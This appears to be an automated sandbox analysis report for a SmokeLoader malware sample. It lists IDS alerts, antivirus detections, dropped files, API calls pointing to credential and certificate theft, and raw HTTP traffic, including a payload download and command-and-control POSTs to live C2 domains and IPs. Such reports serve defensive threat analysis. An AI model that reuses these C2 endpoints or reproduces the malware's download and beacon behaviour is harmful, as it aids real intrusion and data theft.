2024-10-08T18:24:38.785716+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61450	23.145.40.168	443	TCP
2024-10-08T18:24:39.673217+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61451	23.145.40.168	443	TCP
2024-10-08T18:24:40.573653+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61452	23.145.40.168	443	TCP
2024-10-08T18:24:47.342548+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61454	23.145.40.168	443	TCP
2024-10-08T18:26:01.029765+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61463	23.145.40.168	443	TCP
2024-10-08T18:26:17.815560+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61465	23.145.40.168	443	TCP
2024-10-08T18:26:37.988810+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61467	23.145.40.168	443	TCP
2024-10-08T18:26:56.524821+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.6	61470	23.145.40.168	443	TCP

ETPRO MALWARE SmokeLoader encrypted module (3)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T18:24:20.948318+0200	2829848	2	Potentially Bad Traffic	23.145.40.168	443	192.168.2.6	61433	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: O4zPA1oI9Y.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\jvgasii

Avira: detection malicious, Label: HEUR/AGEN.1312571

Found malware configuration

Source: 0000000A.00000002.3040798589.00000000006B0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["https://ninjahallnews.com/search.php", "https://fallhandbat.com/search.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Roaming\jvgasii	ReversingLabs: Detection: 78%

Multi AV Scanner detection for submitted file

Source: O4zPA1oI9Y.exe

ReversingLabs: Detection: 78%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\jvgasii	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\uegasii	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DE97.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: O4zPA1oI9Y.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCA36F0 CryptExportKey,CryptExportKey,	11_2_00007FF7CBCA36F0
Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCA3220 CertGetCertificateContextProperty,CryptAcquireCertificatePrivateKey,CryptGetUserKey,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,CryptExportKey,VirtualProtect,VirtualProtect,CryptAcquireContextA,CryptImportKey,OpenSCManagerA,OpenServiceA,QueryServiceStatusEx,OpenProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,NCryptExportKey,CertOpenStore,CertAddCertificateLinkToStore,CertSetCertificateContextProperty,PFXExportCertStoreEx,PFXExportCertStoreEx,	11_2_00007FF7CBCA3220
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00433098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW,	13_2_00433098
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00433717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW,	13_2_00433717
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00433E04 RtlCompareMemory,CryptUnprotectData,	13_2_00433E04
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_004311E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW,	13_2_004311E1
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00431198 CryptBinaryToStringA,CryptBinaryToStringA,	13_2_00431198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0043123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,	13_2_0043123B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00431FCE CryptUnprotectData,RtlMoveMemory,	13_2_00431FCE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_02F0263E CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	16_2_02F0263E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_02F0245E lstrlen,CryptBinaryToStringA,CryptBinaryToStringA,	16_2_02F0245E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_02F02404 lstrlen,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,	16_2_02F02404
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 18_2_00472799 CryptAcquireContextA,CryptCreateHash,lstrlen,CryptHashData,CryptGetHashParam,wsprintfA,CryptDestroyHash,CryptReleaseContext,	18_2_00472799
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 18_2_004725A4 CryptBinaryToStringA,CryptBinaryToStringA,	18_2_004725A4

Source: O4zPA1oI9Y.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\O4zPA1oI9Y.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 23.145.40.164:443 -> 192.168.2.6:61410 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61433 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61437 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61438 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61440 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61441 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61442 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61444 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61446 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61447 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61449 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61450 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61451 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61452 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61463 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61465 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.6:61470 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\8CAE.exe	Code function: 11_2_00007FF7CBCAFB38 GetEnvironmentVariableW,lstrcatW,lstrcpyW,lstrcatW,FindFirstFileW,lstrcatW,lstrcatW,FindClose,	11_2_00007FF7CBCAFB38
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00432B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	13_2_00432B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00431D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	13_2_00431D4A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_00433ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	13_2_00433ED9
Source: C:\Windows\explorer.exe	Code function: 15_2_00E330A8 FindFirstFileW,FindNextFileW,FindClose,	15_2_00E330A8

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:49836 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:49842 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61315 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61297 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61260 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61302 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:49843 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61321 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61308 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61270 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61340 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61360 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61365 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61388 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61327 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61355 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61382 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61428 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61430 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61334 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61426 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61427 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61375 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61397 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61404 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61429 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61425 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61424 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61279 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61455 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61461 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61370 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61462 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61459 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61466 -> 190.249.249.14:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61457 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61347 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61419 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61458 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61464 -> 190.249.249.14:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61456 -> 160.177.223.165:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61469 -> 190.249.249.14:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61433 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61433 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61435 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61436 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61438 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61436 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61441 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61435 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61438 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61437 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61441 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61444 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61443 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61444 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61437 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61451 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61443 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61439 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61463 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61451 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61465 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61439 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61463 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61442 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61465 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61447 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61450 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61454 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61442 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61454 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61470 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61467 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61470 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61467 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61447 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61450 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61440 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61434 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61440 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61445 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61434 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61446 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61448 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61446 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61448 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61445 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61452 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61452 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:61449 -> 23.145.40.168:443
Source: Network traffic	Suricata IDS: 2809882 - Severity 1 - ETPRO MALWARE Dridex Post Checkin Activity 3 : 192.168.2.6:61449 -> 23.145.40.168:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 190.249.249.14 80	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 23.145.40.168 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.145.40.164 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 160.177.223.165 80	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://ninjahallnews.com/search.php
Source: Malware configuration extractor	URLs: https://fallhandbat.com/search.php

Source: Joe Sandbox View

IP Address: 23.145.40.164 23.145.40.164

Source: Joe Sandbox View	ASN Name: SURFAIRWIRELESS-IN-01US SURFAIRWIRELESS-IN-01US
Source: Joe Sandbox View	ASN Name: EPMTelecomunicacionesSAESPCO EPMTelecomunicacionesSAESPCO
Source: Joe Sandbox View	ASN Name: SURFAIRWIRELESS-IN-01US SURFAIRWIRELESS-IN-01US
Source: Joe Sandbox View	ASN Name: MT-MPLSMA MT-MPLSMA

Source: Joe Sandbox View	JA3 fingerprint: 72a589da586844d7f0818ce684948eea
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2829848 - Severity 2 - ETPRO MALWARE SmokeLoader encrypted module (3) : 23.145.40.168:443 -> 192.168.2.6:61433

Source: global traffic	HTTP traffic detected: GET /ksa9104.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 23.145.40.164
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://vucrathrxdck.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://krpqgyauqofjy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 368Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://mjqditygumcpl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 286Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://xmqdemcyeborscy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://ivdqbkwbkfcqmd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 281Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://kygmejbuqfed.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 209Host: ninjahallnews.com
Source: global traffic	HTTP traffic detected: POST /search.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: https://oearusgjpsibxo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 366Host: ninjahallnews.com
